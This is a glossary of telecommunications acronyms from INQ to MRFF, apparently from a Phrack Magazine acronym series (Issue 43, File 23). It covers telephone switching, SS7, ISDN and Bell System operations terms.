INQ Complete circuit inquiry
INR Information request (SS7: in ISUP)
INS (japan) information network system (b64+b16+d8)
INT Interrupt (i.e. C/I channel code)
INTCCTRL International code control (NTI)
INTCHG Interexchange
INTEGRIS Integrated results information service
INTELSAT International telecommunications satellite consortium
INTR Interrupt
INW INWATS [code 258(8000-8299)]
INWATS Inward wide area telecommunications system
INWATS Inward wide area telephone service
INWBLKD INWATS returned blocked
INWBLKD Inward wide area telecommunications service (INWATS) returned
blocked
INWBUSY INWATS all lines busy
INWCCBL INWATS code control blocked
INWDBOV INWATS data base overload
INWDBTO INWATS data base timeout
INWDSBL INWATS direct signaling blocked
INWNNPA INWATS nonpurchased NPA
INWNNPA INWATS nonpurchased numbering plan area (NPA)
INWNOXL INWATS returned no translation
INWONPA INWATS invalid ONPA
INWONPA INWATS invalid originating numbering plan area (ONPA)
INWOVLD INWATS returned overload
INWUNEQ INWATS returned unequipped
INWVLIN INWATS vacant line number
INWVNXX INWATS vacant NXX
IO Inward operator
IOAU Input/output access unit (univac)
IOC Independent operating company
IOC Input/output controler (shelf)
IOC Integrated optical circuit
IOC International overseas center
IOCC International overseas completion center
IOCP Input/output configuration process
IOCS Input/output control system
IODB IDCU on-demand B-channel
IOI Secondary input/output interface pack(s)
IOM ISDN-oriented modular (architecture and interfaces)
IOM2 Extended iom
IOMI Input/output microprocessor interface
IOP Input-output processor
IOP Input/output Processor
IOP Input/output driver
IOP Input/output processor
IOS ISDN operational software
IOS Input/output supervisor (IBM)
IOS Inventory order system
IOSF Input/output shelf assignment
IOT Inter-office trunk
IOT Interoffice test command (SARTS command)
IOT Interoffice testing
IOTC International originating toll center
IP Information provider
IP Inprogress
IP Intermediate point
IP Internet protocol
IPABX ISDN pabx
IPAC ISDN pc adapter circuit
IPACS Interactive planning & control system
IPAT ISDN primary access transceiver
IPB Sipb
IPBC IOM2 PBC (old name for EPIC)
IPC Inter-process communication
IPC Interprocess communication
IPCS IOS process control system
IPCS Installation product costing system
IPCS Interactive problem control system
IPIB Intelligent personal computer interface board
IPIDB IDCU peripheral interface data bus
IPL Initial program load
IPL Interoffice private line signaling
IPL Interoffice private line signaling test (SARTS command)
IPLAN Integrated planning and analysis system
IPLS InterLATA private line services
IPM Impulse per minute
IPM Impulses per minute
IPM Interruptions per minute
IPP IOS protocol part
IPP Integrated planning process
IPPC Interdepartmental project planning committee
IPR Installation performance results system
IPS Installation performance results
IPS Integrated Provisioning System
IPS Integrated provisions system
IPX Integrated packet exchange
IQS Instant request system
IR Incoming register
IRBR Integrated resource billing report system
IRC International record carrier
IRIS Industry relations information system
IRLF Incoming register link frame
IRM Information resource management
IRMC Incoming register marker connector
IRO Industry relations operations
IROR Internal rate of return
IRP Integrated revenue planning
IRPC ISDN remote power control psb2120
IRR Internal rate of return system
IRRS Interactive request and retrieval system
IRS Industrial revenue summary
IRT IDCU remote digital terminal
IRU Integrated recovery utility (sperry)
IS Interrupt set
IS/SADQ Interstate special access demand quantification
ISA Indicate status application
ISAC-P ISDN subscriber access controller
ISAC-S ISDN subscriber access controller
ISAM Indexed sequential access method
ISC Intelligent serial controller
ISC International switching center
ISC Planintercompany services coordination plan
ISC/TE Information systems center for technical education
ISCAR Information systems costs analysis reports
ISCOM SWBT intercompany service coordination (ISC) order monitor
ISCP Integrated service control point
ISCP/MSAP ISCP/multi-service application platform
ISCP/SPOCK ISCP/service provisioning and on-line creation tool kit software
ISDN Integrated services digital network
ISF Inquire on a single facility
ISG Isolated system grounding
ISH Complete circuit inquiry short
ISI Industry support layout
ISIS Interstate settlements information system
ISLM Integrated services line module
ISLU Integrated services line unit
ISLUCC Integrated services line unit common controller
ISLUCD Integrated services line unit common data
ISLUHLSC Integrated services line unit high level service circuit
ISLUMAN Integrated services line unit metallic access network
ISLURG Integrated services line unit ringing generator
ISM ISDN switching module
ISM Interactive synchronous mode
ISMP Industry specific measurement plan
ISMS Integrated service management system
ISMTL Information systems management training
ISN Information systems network
ISN Integrated systems network
ISNET Interim solution network (Kansas city only)
ISO Information systems organization
ISO International organization for standardization
ISOFC ISDN office totals
ISOPDB Information systems organization planning data base
ISOSS Intercompany service order switching system
ISP Intermediate service part
ISPBX Integrated systems PBX
ISPC International signaling point code (SS7)
ISPF Interactive system productivity facility
ISPI ISDN packet interface
ISRP Information systems rules panel
ISS Integrated switching system
ISS Issue
ISSANRC Interstate special access non-recurring
ISSC Interfunction special service coordination
ISSCO Intertoll
ISSN Integrated special services network
ISSN Intergrated specal services network
ISSS ISDN supporting system
ISTA Interrupt status register
ISUP ISDN user part
ISUP ISDN user part (SS7: q.76x)
ISUP Integrated services user part
IT Inactivity test (SS7: in SCCP)
IT Intertandem tie trunk INTER/TRA blocal 1-26
ITAC ISDN terminal adaptor circuit
ITC Independent telephone company
ITC Interdepartmental training center at dallas-texas for
ITD Intertoll dial
ITEA Interoffice trunks engineering and administration
ITF Integrated test facility
ITG Intergrated traffic generator
ITIMS Integrated transportation information management system
ITIMS/IE Itims/information expert
ITM Cable pair item number
ITNA Improves thrid number acceptance
ITNO Item number
ITS Institute of telecommunication science
ITS Integrated test system
ITS Interactive training system
ITSE Incoming trunk service evaluation
ITSO Incoming trunk service observation
ITSTC Information technology steering committee (cen
ITT Idle trunk test
ITU International telecommunication union
ITU International telecommunications union
ITVSE Intermediary transport vendor service center
ITW Instructional technology workshop
IU Network/port interface unit
IUP Installed user program (IBM)
IVD Integrated voice data
IVP Installation verification procedures
IVP Installation verification program
IVTS International video teleconferencing service
IWF Interworking facility (gateway)
IWU Interworking unit (gateway)
IX Interactive executive
IXC Or icinterexchange carrier
IXM Interexchange mileage
IZ Interzone
--------------------------------------------------------------------------------
==Phrack Magazine==
Volume Four, Issue Forty-Three, File 23 of 27
{Acronyms Part III}
J Enter centrex (CTX) or multiline hunt group (MLHG) number
JAD Joint application design
JAM Jumper activity management
JCL Job control language
JDC Japan digital cellular
JDC Job duties code
JDI Job disposition indicator
JDIP Jmos/dopac interface process (comptroller system)
JE Job evaluation
JEC Journal entity code
JES Job entry subsystem (IBM)
JES Job entry system
JES 2 Job entry system 2 (IBM)
JES 3 Job entry system 3 (IBM)
JET BTL TIRKS jumper evaluation technique
JFC Job function code
JGF Junctor grouping frame
JIB Job information block (VMS)
JIM Job information memorandum
JIS Jurisdictional interstate services
JK Jack
JKLAP Jack/key/and lamp access panel
JL Jumper length
JMOS Job management operations system
JMOS/PT JMOS/pricer-tracker
JMOS/RPTS JMOS reports
JMOSCA Jmos contract administration
JMX Jumbogroup multiplex
JOSS Job order status system (distribution services system)
JOSSVM Job order status system/VM
JOVIAL Jule's own version of the international algebraic language
JP71 Joint practice 71
JP80 Joint practice 80
JPH Jumper placement history
JSC Job status code
JSN Junction switch number
JSW Junctor switch
JTR Jitter
JTRS JMOS trouble reporting system (distribution services system)
JUICE JMOS user input card entry (distribution services system)
K DACS-SRDC
K Equipment frame designation
K Kilobit
KBPS Kilobits per second
KCA Key contributor award
KCO Keep cost order
KD Keyboard display
KDROP Key display receive only printer
KDT Keyboard display terminal
KERMIT Kermit
KEY Stop hunt or random make busy hunting
KFT Kilofeet
KHZ Kilo-hertz
KHZ Kilohertz
KITSKOTS Kansas inward toll service/Kansas outward toll service
KOHM Kilohms
KOP Thousands of operations per second
KP Key pulse
KPR Killer pair report
KSDS Key sequence data set (IBM)
KSM Create a transaction mask
KSR Keyboard send-receive
KSU Key service unit
KTA Korea telecommunication authority (ROK)
KTS Key telephone set
KTS Key telephone system
KW Keyword
L Shift preference (if any) for this work to be performed.
L/AOS Legal/advanced office system
L2DOWN Level 2 is inoperable.
L2QLTY Poor level 2 transmission quality.
L3-ERC Layer 3 error control (IOS)
L3M Layer 3 mgr. (IOS)
LA Local area data channel INTER/TRA blocal 1-26
LA Loop assignment
LAC LAN application controller
LAC Loop assignment center
LAD Label definition
LAD Loop activity data
LADS Local area data service
LADT Local access data transport
LADT Local area data transport
LAI Line equipment assignment inquiry
LAIS Local automatic intercept system
LAJMS Ledger and journal maintenance system
LAMA Local automatic message accounting
LAMA-C Computerized local AMA for No. 5 crossbar
LAN Local area network
LANMS Light amplified by stimulated emission of radiation
LAP Link access protocol
LAPB (LAP-B) link access procedure of balanced mode
LAPD (LAP-D) link access procedure of D-channels
LAPD Link access procedure on the D channel
LAPM (LAP-M) link access protocol for modems
LAPX Lapb extended (t.71)
LARG Lidb access routing guide
LASS Local alarm scanning system
LASS Local area signaling service
LAT Local access termianl (RMS-D1)
LATA Local access and transport area
LATA Local access and transport areas
LATA Local access transport area
LATIS Loop activity tracking information system
LATIS I/F Loop activity tracking information system interface
LATIS/INPUT Locally developed program used to input to the latis system
LB Voice-non switched line-service code for LATA access
LBBD Loopback B1
LBI Load balance index
LBK Loop test (SARTS command)
LBK Loopback
LBL Online tape label printing
LBNCGI LIDB BNS message with call gapping indicator present
LBNGM LIDB BNS garbled message
LBNMGM LIDB BNS return value missing group or misrouted
LBNNAN LIDB BNS return value no translation for an address of such
nature
LBNNCG LIDB BNS return value network congestion
LBNNFL LIDB BNS return value network failure
LBNNPG LIDB BNS return value nonparticipating group
LBNNSA LIDB BNS return value no translation for this specific address
LBNREJ LIDB BNS reject message received
LBNSCG LIDB BNS return value subsystem congestion
LBNSFL LIDB BNS return value subsystem failure
LBNTO LIDB BNS message missed because of timeout
LBNUP LIDB BNS message with unexpected reply
LBNUUR LIDB BNS return value unequipped user
LBO Line buildout
LBP Load balance parameters
LBR Large business remote
LBRV Low bit rate voice
LBS Land and building system
LBS Load balance system
LBS Load balance system (BTL) module of tnds
LBST Loopback device signature table
LBU Loopback devices signature table
LBU Loopback unit
LBn Loopback channel bn request (command in IOM2 monitor and EOC)
LC Line card
LC Line count
LC Output line count
LC Pending service order count
LC Voice-switched line-service code for LATA access
LCAMOS Loop cable administration and maintenance operations system
(predictor)
LCC Line class code
LCCIS Local common channel interoffice signaling
LCCL Line card cable
LCCLN Line card cable narrative
LCD List cable summary
LCDCGI LIDB CCRD message with call gapping indicator present
LCDGM LIDB CCRD garbled message
LCDMGM LIDB CCRD return value missing group or misrouted
LCDN Last called directory number
LCDNAN LIDB CCRD return value no translation for an address of such nature
LCDNCG LIDB CCRD return value network congestion
LCDNFL LIDB CCRD return value network failure
LCDNPG LIDB CCRD return value nonparticipating group
LCDNSA LIDB CCRD return value no translation for this specific address
LCDR Local call detail recording
LCDREJ LIDB CCRD reject message received
LCDSCG LIDB CCRD return value subsystem congestion
LCDSFL LIDB CCRD return value subsystem failure
LCDTO LIDB CCRD message missed because of timeout
LCDUP LIDB CCRD message with unexpected reply
LCDUUR LIDB CCRD return value unequipped user
LCE Line concentrating equipment frame
LCEN Line card equipment number
LCI LAN CPU interface
LCIE Lightguide cable interconnection equipment
LCLOC Line card location
LCM Line concentrating module
LCMC Line concentrating controller module
LCN Logical channel number
LCN Logical channel numbers
LCOS Line Class of service (GTE)
LCP Language conversion program
LCP List cable pairs
LCR Least cost routing
LCR Line concentration ratio
LCRMKR Line card remarks
LCS.MIT.EDU Telecomm digest archive site on the Internet
LCS7 Link controller for signaling system No.7
LCSE Line card service and equipment
LCSEN Line card service and equipment narrative
LD Load
LD Loading division
LD Long distance
LD Voice switched trunk-service code for LATA access
LDBM Listing data base maintenance
LDES Long distance experimental schedule
LDM Logical data model
LDMTS Long distance message telecommunications service
LDN Listed directory number
LDS Local digital switch
LDSU2 Local digital service unit - model 2
LDT Local display terminal
LDU Long distance usage analysis
LE Leading edge (bsp)
LE Line equipment
LE Local exchange (contains D-CTL)
LE Voice and tone-radio landline-service code for LATA access
LEAD Loop engineering assignment data
LEAP System testing tool to simulate multiple 3270 users
LEAS Lata equal access system
LEC Local exchange carrier
LED Last entry data
LED Light emitting diode
LED Light-emitting diode
LEE Nac related line equipment transfer order establishment
LEFTS Loop electronic forecasting and tracking system
LEG Customer training file
LEIM Loop electronic inventory module
LEIM Loop electronics inventory module
LEIS Loop engineering information system (applications)
LEN Line equipment number
LENCL Line equipment number class
LENG Length
LERG Local exchange routing guide
LET Line equipment transfers
LETS Law enforcement teletypewriter service
LEV Level
LEW Line equipment transfer withdrawal
LF Data low-speed-service code for LATA access
LF Lease file
LF Line Finder
LF Line feed
LF Line finder
LF Load factor
LF Low frequance
LFACS Loop facilities assignment and control system
LFACS Loop facility assignment and control system
LFC Load factor calculation
LFR Line failure report
LFRC Local field reporting code
LG Basic data-service code for LATA access
LGC Line group controller
LGN List hunt groups
LH Line hunting (i.252 f)
LH Voice and data-psn access trunk-service code for LATA access
LI Length indicator (SS7)
LI Link interface
LIB Line interface board
LIDB Line information data base
LIDB Line information database
LIE Left in equipment
LIFECOST Life cycle cost system
LIFO Last in
LIJ Left In Jumper
LIM Less than the specified number of pairs
LIN Line
LIN Transmit alit data to COSMOS
LINCS Lan integrated network communications system
LINIS Line and number inventory system
LINK Loop interface network
LINK1 The basic rate interface transmission extension (BRITE)
link one is down
LINK2 The BRITE link two is down.
LINK3 The BRITE link three is down.
LINK4 The BRITE link four is down.
LINK5 The BRITE link five is down.
LINK6 The BRITE link six is down.
LIS Library information system
LIST Listen
LIT Line insulation test
LIT Line insulation testing parameters
LIU Lats interface unit
LIU Line interface unit
LIU Line user interface
LJ Voice and data ssn access-service code for LATA access
LK Voice and data-ssn-intermachine trunk-service code for LATA
access
LKNODE Link node
LL Logical link
LL Long distance terminal line INTER/TRA blocal 1-26
LL Long lines
LLC Line load control
LLC Low level controller sipx6100
LLD Low level device drivers (IOS)
LLDB Location life data base
LLF Line link frame
LLID Ll identifier
LLL Last look logic
LLN Line link network
LLN Line link network (ess)
LLP Link layer protocol (lapd)
LLS Local Line Switch (GTE)
LME Line module equipment
LMMS Local message metering system
LMOS Loop maintenance operations system
LMOS Loop maintenance operations systemr
LMOS F/E Loop maintenance operations system front end
LMOS HOST Loop maintenance operations system host
LMOS I/F Loop maintenance operating system interface
LMS Litigation management system
LMS Loop maintenance system
LMS/TUM Local measuring system/temporary usage measurement
LMT Local maintance operations system
LMTS Limits
LMU Line multiplexer unit
LMX L-multiplex
LN Data extension
LN Leased network
LN Loop normal (on-hook normal)
LNA Line and number administration
LNA Low noise amplifier
LNBAS Call failed due to the query being blocked at the switch
LNBN Call failed due to the query being blocked in the CCS network
LNG Longitudinal
LNS Line number status
LO Low threshold
LOA Limit operator attempts
LOAD Listing of acronym definition
LOC Local
LOC Local operating company
LOC Location of cable on frame
LOCAP Low capacitance
LOCN Location
LOE List originating line equipment
LOE Location operating entity
LOES Lajms online entry system
LOF Lock off-line
LOF Loss of frame
LOGIC Logistics integrated control system
LOGU Logical units assignments
LOMS Loop assignment center operations management system
LON Lock on-line
LONALS Local off-net access lines
LP Telephoto/facsimile-service code for LATA access
LPA Link pack area
LPBK Looped back
LPCDF Low profile combined distributing frame
LPCDF Low profile conventional distributing frame
LPIE Loop plant improvement evaluator
LPIE2 Loop plant improvement evaluator 2
LPK Line concentrating equipment line packs
LPM Lines per minute
LPM Logistic planning module
LPS Log/print status
LPT Loop test
LQ Voice grade customized-service code for LATA access
LR Loop reverse (off-hook normal)
LR Protection relay-voice grade-service code for LATA access
LRAP Long route analysis program
LRC Longitudal redundancy check
LRC Longitudinal redundancy check
LRIA1 Long run incremental analysis i
LRISP Long range information systems planning organization
LRM Line resource monitor-ims (BMC)
LRN Local reference number
LROPP Long-rangeoutside plant planning
LROT OR LRH Local rotary
LRP Long rang planning
LRS Lease record system
LRS Line repeater station
LRSS Long range switching studies
LS Local service INTER/TRA blocal 1-26
LS Loop start signaling
LS&E Local service and equipment
LSA Local security administrator
LSA Local subaccount
LSB Lower side band
LSBS Location specific bypass system
LSD&F Local switching demand & facility data base system
LSDB Listing service data base
LSDF Local switching demand and facility data base system
LSDN Local switched digital network
LSE Line and station transfer order establishment
LSEC Loss of sec (C/I channel code)
LSHF Message LAN shelf
LSI Large-scale integrated circuitry
LSL Loss of signal level (C/I channel code)
LSM Load synchronization mechanization
LSM Local switching module
LSN Logical session number
LSO Local service office
LSO Local storage option-ims (IBM)
LSRP Local switching replacement planning
LSRP Local switching replacement planning system
LSS Lata switching systems
LSS Listing service system
LSS Listing services system
LSS Loop switching system
LSSGR Lata switching systems generic requirements
LSSI Local special service inventory
LSSR Local special service results
LSSU Link state signal unit (SS7)
LSSU Link status signal unit
LST Line and station transfer
LSU Line switch unit
LSU Local storage unit
LSU Loss of signal level of u interface (C/I channel code)
LSUE Lsu error condition (C/I channel code)
LSV Latch switch verification
LSV Line status verifier
LSW Line and station transfer withdrawal
LT Lata tandem
LT Line termination
LT Local terminal
LT Long distance terminal trunk INTER/TRA blocal 1-26
LT-S Lt on s bus
LT-T Lt on t interface
LTAB Line test access bus
LTB Last trunk busy
LTC Line trunk controler
LTC Local test cabinet
LTD Local test desk
LTD Local test desk (#16
LTD Long term disability
LTD Lt disable (C/I channel code)
LTERM Logical terminal-ims (IBM)
LTF Light terminal frame
LTF Lightwave terminal frame
LTF Lightwave terminating frame
LTF Line trunk frame
LTG Line translation group
LTG Line trunk group
LTI Loop termination identifier
LTMA Lightwave terminal multiplex assembly
LTMA Lightwave terminating multiplexing assembly
LTN List telephone numbers
LTOP Long term disability plan
LTP Line and trunk peripherals
LTP Local test port
LTP Loop technology planning
LTS Loss test set
LTU Line trunk unit
LTUC Ltu control
LU Line unit
LU 6.2 Protocol for appc
LU2 Line unit model 2
LUA Link up america tracking
LUCHBD Line unit channel board
LUCOMC Line unit common control
LUHLSC Line unit high level service circuit
LUIF Living unit interface file
LUM Line utilization monitor-ims (BMC)
LUPEX Line unit path exerciser
LURR Large user reproduced records system
LV Sdlv
LVL1ERR Level 1 protocol error.
LVL2ERR Level 2 protocol error.
LVL3ERR Level 3 protocol error.
LVM Line verification module
LW-SSS Lightwave system support services by weco
LWC Leave word calling
LX 2 Local originating
LX 2 Local terminating
LXE Lightguide express entry
LZ Dedicated facility-service code for LATA access
M Latest date that this ticket can be loaded.
M M(transmit) signal lead
M Maintance
M Minutes
M LETTER Methods letter
M O Master office
M S Main station
M S Mark sense
M&P Methods and procedures
M-MONEY Maintenance money
M-STARS Measurement and statistics tracking and reporting system
M/ATR Maritime/aviation tracking reports
M/W Microwave
M5 Five-minute
MA Cellular access trunk 2-way INTER/TRA blocal 1-26
MA Maintenance administrator
MA Multiple access (primary)
MA02 Status requested
MA03 Hourly report of system circuits and units in trouble
MA04 Reports condition of system - 1AESS maintenance
MA05 Maintenance interrupt count for last hour - 1AESS maintenance
MA06 Scanners
MA07 Successful switch of duplicated unit (program store etc.)
- 1AESS
MA08 Excessive error rate of named unit -1AESS maintenance
MA09 Power should not be removed from named unit - 1AESS maintenance
MA10 Ok to remove paper - 1AESS maintenance
MA11 Power manually removed from unit - 1AESS maintenance
MA12 Power restored to unit - 1AESS maintenance
MA13 Indicates central control active - 1AESS maintenance
MA15 Hourly report of # of times interrupt recovery program acted - ma
MA17 Centrex data link power removed - 1AESS maintenance
MA21 Reports action taken on mac-rex command -1AESS maintenance msg
MA23 4 minute report- emergency action phase triggers are inhibited
MAB Metallic access bus
MAC Machine administration center
MAC Major accounting center
MAC Mechanized assignment control (BTL)
MAC Missed appointment code
MAC Monitor analysis & control of fa standard values
MACBS Multi-access cable billing system
MACS Major apparatus and cable system
MACS Mechanized analysis of customer systems
MACS(DS) Major apparatus control system (dist. svcs)
MADN Multiple access directory numbers
MADPE Address parity error
MAEC Media access error counter
MAI Multiple access interface (univac)
MAILLOG Manager electronic mail logging system
MAINT Maintenance
MAINT Maintenance handler
MAL Maintance action limits
MAL Manual assignment list
MALRU Mechanized automatic line record update
MALT Maintence transmission action limit table
MAMA Mechanized automatic message accounting
MAMA Mobile automatic message accounting
MAN Manual
MAN Metropolitan area network
MAN Miscellaneous account number
MAP Maintance and administration position
MAP Maintenance and administration position
MAP Maintenance and administrative position (NTI)
MAP Management assessment program
MAP Manual assignment parameters
MAP Manufacturing automation protocol
MAP Mobile application part
MAPCI Map command interpreter (NTI)
MAPPER Maintain and prepare executive reports
MAPS Mechanized accounts payable system
MAPS Modeling and planning system (BTL)
MAPSS Maintenance & analysis plan for special services
MAPSS Maintenance and analysis plan for special services
MAQ Manual assignment file inquiry
MAR Market analysis report (BTL)
MAR Microprogram address register
MAR Multi-alternate route
MARC Market analysis of revenue and customers system
MARC Market analysis of revenues and customers
MARC/CAPS Market analysis of personnel and customer analysis profile
MARCH A computer system
MARG Margin Parameter
MARK Mechnized Assiment Record Keeping System (GTE COSMOS)
MARK IV General purpose information storage and retrieval system
MARS Mechanized automative repair system
MARS Multiple access repair system
MAS Interfacesmessage analysis sampling plan
MAS Main store
MAS Mass announcement system (900 service)
MAS Memory administration system
MASB Mas bus
MASC Mas controller
MASM Mas memory
MAST Mail analysis and sales tracking
MAT Manual assistance tag
MAT Metropolitan area trunk
MATFAP Metropolitan area transmission facility analysis program
MATR Maritime/aviation tracking system
MATR Modified answering time recorder
MATS Marketing access tracking system
MATS Mechanized analysis of traffic studies system
MAVIS McDonnel Douglas automatic voice information system (model 1018t)
MAX Maximum
MAX Maximum messages
MAX Maximum percentage value of entity fill or maximum ccs value
MAXS Metallic automatic cross-connected system
MAY Modify an assembly
MB Make busy
MB Make-busy or made-busy
MB/S Megabits per second.
MBO Management by objectives
MBP Metallic bypass pair
MBPS Megabits per second
MBX Measured branch exchange
MBYTE Megabyte
MC Machine congestion
MC Maintance connector
MC Maintenance center
MC Maintenance circuit
MC Marker class of service
MC Memory controller
MCA Misrouted centralized automatic message accounting (MDII)
MCAS Material cable administrative system
MCB Message control bank (sperry)
MCC Maintance control center
MCC Maintenance control center
MCC Manual camera control
MCC Master control center
MCC Minicuster controller
MCCI Mechanized customer contact index
MCCRAP Master control center trouble report analysis plan
MCCS Mechanized calling card service
MCE Establish a maintenance change ticket
MCH Maintenance channel
MCH Manually change hunt
MCHB Maintenance channel buffer
MCI Malicious call identification (i.251 g)
MCI Microwave communications incorporated
MCIAS Multi-channel intelligent announcement system
MCIAS Multi-channel intercept announcement system
MCINT Mate control interrupt
MCL Maintenance change list
MCN Machine congestion level # where MCI=machine congestion level
MCN Master control number
MCN Metropolitan campus network
MCOS Multiplexer out of synchronization
MCP Mechanized credit provisioning system
MCR Establish a maintenance change repair
MCR Mass call register
MCS Master cpu subsystem
MCS Meeting communications service
MCS Multiple console support
MCTAP Mechanized cable transfer administration plan
MCTRAP Mechanized customer trouble report analysis plan
MCTSI Module controller/time slot interchange
MCTSI Module controller/time-slot interchange unit
MCW Maintenance change ticket withdrawal
MD SS7fe message distributor
MD/RS Mechanized denial/restoral system
MDACS Modular digital access control system
MDC Manually disconnect a working circuit
MDC Marker distributor control
MDC Materials distribution center
MDC Meridian digital centrex
MDCMES Management development center mechanized enrollment system
MDF Main distributing frame
MDF Main distribution frame
MDII Machine detected interoffice irregularities
MDII Machine-detected interoffice irregularity
MDIS Marketing data interface system
MDLIE DLI interface error
MDOG Mechanized disbursement of gasoline
MDP SS7 fe message distribution protocol
MDR Mechanized draft reconciliation
MDR Message detail record
MDS Message design systems
MDT Management development/training
MDU Marker decoder unit
MDX Modular digital exchange
ME Management employment
ME & ASSM Management employment & assessment
ME CORP Corporation management employment
MEANS Model for economic analysis of network service
MEAS Measure
MEASMT Measurement
MEC Maintenance engineer center
MEC Manually establish a circuit
MEC Mobile equipment console
MECA Mechanization of engineering & circuit provisioning
MECAB Multi exchange carrier access billing
MECCRRF Mechanized credit reference system
MECH More efficient call handling
MECOD Multiple exchange carrier ordering and design
MED Medium threshold
MED Multipoint end-link data
MEDPLUS Medicare part b reimbursement payments
MEDS Mechanized expense distribution system
MEF Master employee file
MELD Mechanized engineering and layout for distributing frames
MEP Medical expense plan
MERITS Measurement of exchange records integrity through sampling
MERP Mechanization of estimate results plan
MERS Most economic route selection
MERT Master employee record tape
MESA Mechanized edits of street address
MESS Message
MET Multibuton electronic telephone
MET Multibutton electronic telephone
METASX Metallic access
MF Mainboard firmware (IOS)
MF Multi frame
MF Multi frequency
MF Multifrequency
MF Multiplexer frame
MFAS Mechanized forecasting and analysis system
MFC Master file directory (VMS-catalog of UFDS)
MFC Modular feature construction
MFC Multiple frame operation control (IOS)
MFENET Magnetic fusion energy network
MFFAN Miscellaneous frame (CM2 offices only)
MFJ Modification of final judgement
MFJ Modification of final judgment
MFJ Modified final judgment (consent decree)
MFR Discmanufacture discontinued
MFR Mechanized force report
MFR Multi-frequency receivers
MFRS Management force reporting system
MFS Message formatting service-ims (IBM)
MFT Metallic facility terminal
MFT Multiprogramming with a fixed number of tasks
MG Marker group
MG Marker group number
MG Mastergroup
MGB Main ground bus
MGB Master ground bar
MGBAF Maintenance group blocking acknowledgment failure
MGR Manager
MGSC Message service customer counts
MGSG Message service multi-line hunt
MGT Mastergroup translator
MGUAF Maintenance group unblocking acknowledgment failure
MH Modified huffman code (fax)
MHD Moving head disk
MHD Moving head disk drive(s) used in the am.
MHDC Moving head disk control
MHDDC Moving head disk data/clock
MHS Message handling service
MHS Message handling system
MHZ Megahertz
MI Machine interface
MI Message interface on the
MI Swbt minimal input
MIAS Marketing information analysis system
MICA Mechanized intercompany contract administration
MICC Minicluster controller
MICE Modular integrated communications environment
MICI Mechanized independent company input
MICR Minimal input customer records
MICRO/TEL Micro/tel force analyzer
MICS BTL maintenance space inventory control system
MICU Message interface and clock unit
MICU Message interface clock unit
MID Master interim design
MIFM Mechanized installation force management
MIG Mechanized interval guide system
MIIS Management inventory information system
MIMIC Mts-wats intrastate model for incremental cost
MIN Minimum
MIN Minimum percentage value of entity fill or minimum CCS value
MIN Mobile identification number
MINX Multimedia information network exchange
MIOIO I/O invalid operation error
MIOLE I/O lock error
MIOPE I/O bus parity error
MIOTO I/O timer time out error
MIOUE I/O unlock error
MIP Microprocessor interface port
MIPP Management surplus income protection plan
MIPS Million instructions per second
MIR Micro-instruction register
MIRA Maintenance input request administrator .
MIRA Mark iv information retrieval aid
MIS Management information system
MIS Mechanized intercepting system
MIS/C Management information system/computer
MISC Miscellaneous
MISCF Miscellaneous frame
MISS Management information staffing system
MITS Microcomputer interactive test system
MIU Metallic interdace unit
MIZAR Management job evaluation
MJEC Multiple job function codes
MJF Modified final judgement
MJU Multipoint junction unit
MKBUSY Make busy.
MKR Marker
MKTG Marketing
ML Matching loss
MLAC Manual loop assignment center
MLC Miniline card
MLC Monitor level code
MLCD Multi-line call detail
MLH Multiline hunt
MLHG Multi-line hung group
MLHG Multiline hunt group
MLI Message link interface
MLIIBLNG Microlink II billing
MLNC Failure to match and no circuit
MLPA Modifiable link pack area (IBM)
MLSS Machine load service summary
MLT Mechanized loop test
MLT Mechanized loop testing system
MLT-1 Mechanized loop testing system-1
MLT-2 Mechanized loop testing - the second generation of equipment
MLT-2 Mechanized loop testing system-2
MMA Multi-module access unit (Univac)
MMC Manually modify a circuit
MMC Minicomputer maintenance center
MMEME Memory system error
MMG Minicomputer maintenance group
MMGT Multimastergroup translator
MMI Man-machine interface
MML Man machine language
MMM Message mile minute
MMOC Minicomputer maintance operation center
MMOC Minicomputer maintenance operations center
MMOCS Minicomputer maintenance and operations center system
MMP Module message processor
MMPP Mechanized market programming procedures (BTL)
MMRCS Minicomputer maintenance and repair center system
MMS Main memory status
MMS Memory management system
MMS/SSII Marketing measurement system/support system II
MMS43 Modified monitoring state 43 code
MMSU Modular metallic service unit
MMT Multiple message threshold
MMU Memory management unit (IOS)
MMX Mastergroup multiplex
MN02 List of circuits in trouble in memory
MNP Microcom networking protocol
MOC Machine operations center
MOC Maintenance and operations console
MOC Maintenance operation console
MOC Ministery of communication
MOC Moe order completion
MOD Ministery of defense
MOD Modifier
MOD Modulated
MOD Module number
MOD1 Miscellaneous per SM measurements (MOD1)
MODCOES Modified central office cost
MODEM Modulator-demodulator
MOE Mass oe transfers
MOF Mass oe frame transfer listings
MOG Minicomputer operations group
MOI Maintenance and operation interface
MOI Mizar order inquiry
MOMS Missouri marketing system
MON Monitor
MON Monitor channel (i.e. IOM2)
MON Mouth
MOOSA Mechanized out of service adjustment system
MOOSE Macs online organization system entry (distribution services)
MOS Maintenance and operations subsystem
MOS Metal oxide semiconductor
MOSOP Mechanized operator services occupational payroll
MOST Managing operations systems in transition
MOSTED Motor vehicle/special tools expense distribution
MOT&R Master office test and release circuit
MOTS Mechanized operations tracking system
MOU Minutes of use
MOU-AS The annual study module of DRP/MOU
MOU-DA The data accumulation module of DRP/MOU
MOVE Move remote line Concentrating module
MOW Moe order withdrawal
MP Maintance POSITION
MP Message processing program
MP Microprocessor
MP Multi-processor
MPAP Management potential appraisal plan
MPC Marker pulse conversion
MPC Messages per customer
MPC Mp command
MPCG Message processing clerical guide
MPCH Main parallel channel
MPDB-OS Outside plant-pair gain
MPDBCOAR MPDB-central office equipment and repair services
MPDBSRVC Office supplies computers and other services
MPDU Message protocpl data units (x.411)
MPES Message processing entry system
MPFRS Mechanized project force requirement system
MPI Mechanized project impact system
MPK Modify work package
MPLR Mechanized plant location records system
MPLUM Mechanized plant utilization management
MPN Master work package number
MPOOS Modem pool line out of service.
MPOW Multiple purpose operator workstation
MPPD Multi-purpose peripheral device
MPRIN Mate peripheral interrupt
MPS Mechanized pension system
MPS Misplaced start pulse
MPS Misplaced start pulse (MDII)
MPT Message transfer part
MPTS Market planning and tracking system
MQ Metalic customized-service code for LATA access
MQH Marker queue high
MQL Marker queue low
MR Maintenance request (BTL)
MR Measured rate
MR Message rate (BSP)
MR Message register
MR Message register COSMOS command
MR Modified read (relative element address designate
MR Monitor read (flow control bit in IOM2)
MR/IBPS Management report/integrated budget and planning system
MRAA Meter reading access arrangement
MRCS Modification request control system
MRDB Memory resident data base
MRDYT Ready time out
MRF Maintenance reset function
MRF Message refusal received (outgoing)
MRF Message retention file
MRFA Mechanized repair force administration
MRFF Master reference frequency frame
